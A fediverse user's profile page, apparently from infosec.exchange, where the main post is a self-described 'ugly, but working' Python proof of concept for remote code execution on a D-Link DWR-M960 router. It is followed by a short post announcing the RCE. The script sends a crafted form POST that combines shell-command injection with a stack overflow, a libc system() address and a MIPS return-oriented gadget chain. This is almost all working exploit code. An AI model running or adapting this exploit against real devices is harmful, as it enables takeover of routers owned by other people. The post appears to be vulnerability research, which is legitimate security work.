Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • World
  • Users
  • Groups
Skins
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (Cyborg)
  • No Skin
Collapse
Brand Logo

CIRCLE WITH A DOT

clathetic@infosec.exchangeC

clathetic@infosec.exchange

@clathetic@infosec.exchange
About
Posts
2
Topics
2
Shares
0
Groups
0
Followers
0
Following
0

View Original

Posts

Recent Best Controversial

  • and here is the POC, ugly, but working:```#!
    clathetic@infosec.exchangeC clathetic@infosec.exchange

    and here is the POC, ugly, but working:
    ```
    #! /usr/bin/python3

    import requests
    import sys

    # just auth with a browsre and grab cookie
    # the js code is awful, I'm too bored to reverse it
    cookies = {"webuicookie":sys.argv[1]}
    host="http://127.0.0.1" #adjust

    # We need to browse /wlmultipleap.htm first
    page1="/wlmultipleap.htm"
    # otherwise form is not accessible
    page2="/boafrm/formWlanMultipleAP"

    r = requests.get(host+page1, cookies=cookies)
    hdr={"Content-Type": "application/x-www-form-urlencoded"}

    data="wlanIdx=wlanidx&wl_ssid1=wl_ssid&submit-url="
    data = data+"%2f"+"aa;echo dlink dwrM960_is_pwned>/tmp/pwn; id >> /tmp/pwn;"+"a"*209
    data = data+"%e8%50%d5%3F" #system() @ in libc : 0x3fd25000+0x300E8 : s0 register
    data = data+"aaaaaabaacaadaaeaafaagaahaaiaaja" #pad
    data = data+"%1C%F4%D3%3F" #gadget@ move t9,s0; jalr t9, lw a0,64(sp)
    data = data+"akaalaamaanaaoaapaaqaaraasaataauaavaawaaxaayaazabaabbabcabdabeab" #pad
    data = data+"%C8%01%80%40" #stack addr 0x408001c8
    data = data+"fabgabhabiabjabkablabmabnaboabpabqabrabsabtabuabvabwabxabyabzacaacbaccacdaceacfacgachaciacjackaclacmac.htm" #pad

    r = requests.post(host+page2, cookies=cookies, headers=hdr, data=data)
    ```
    In my poc, i wanted to do:
    `echo dlink dwrM960_is_pwned>/tmp/pwn; id >> /tmp/pwn;`
    but the id applet is not compiled in the busybox 😄 😄

    Link Preview Image
    Uncategorized adjust system pad gadget stack

  • at last.
    clathetic@infosec.exchangeC clathetic@infosec.exchange

    at last. Finally got RCE on the DLINK DWR M960

    Uncategorized
  • Login

  • Login or register to search.
  • First post
    Last post
0
  • Categories
  • Recent
  • Tags
  • Popular
  • World
  • Users
  • Groups